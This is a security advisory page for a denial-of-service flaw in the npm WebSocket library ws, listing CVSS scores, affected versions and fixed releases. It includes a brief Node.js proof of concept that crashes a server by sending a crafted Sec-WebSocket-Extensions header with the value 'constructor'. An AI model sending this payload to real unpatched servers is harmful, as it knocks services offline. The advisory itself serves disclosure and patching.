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Fencer Intel
high 7.5

GHSA-5v72-xg48-5rpm json

Denial of Service in ws

published 7y ago modified 3mo ago

cvss
7.5
version 3.1, GitHub
cisa kev
Not listed
not in CISA's catalog
epss
—
no score, EPSS covers CVEs only
public exploits
0
none known

Summary

Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent.

## Proof of concept

``` const WebSocket = require('ws'); const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () { const payload = 'constructor'; // or ',;constructor'

const request = [ 'GET / HTTP/1.1', 'Connection: Upgrade', 'Sec-WebSocket-Key: test', 'Sec-WebSocket-Version: 8', `Sec-WebSocket-Extensions: ${payload}`, 'Upgrade: websocket', '\r\n' ].join('\r\n');

const socket = net.connect(3000, function () { socket.resume(); socket.write(request); }); }); ```

## Recommendation

Update to version 3.3.1 or later.

Patch / fix

  • npm ws 1.1.5, 3.3.1

Is GHSA-5v72-xg48-5rpm in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.

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CVSS scores

assigned by version score vector
GitHub 3.1 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Affected packages

ecosystem package affected fixed in
npm ws
>=0.6.0, <1.1.5
>=2.0.0, <3.3.1
1.1.5
3.3.1

Classification

Weakness
  • CWE-400 Uncontrolled Resource Consumption

References

Sources

Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.